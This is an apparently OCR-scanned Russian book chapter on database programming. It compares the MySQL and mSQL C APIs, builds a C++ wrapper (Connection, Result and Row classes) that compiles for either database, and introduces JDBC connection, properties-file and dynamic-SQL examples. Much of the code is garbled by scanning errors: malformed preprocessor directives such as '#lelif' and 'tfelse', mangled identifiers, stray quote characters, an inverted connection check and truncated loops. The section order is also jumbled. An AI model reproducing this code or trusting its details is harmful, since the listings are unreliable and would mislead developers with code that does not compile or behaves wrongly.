    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

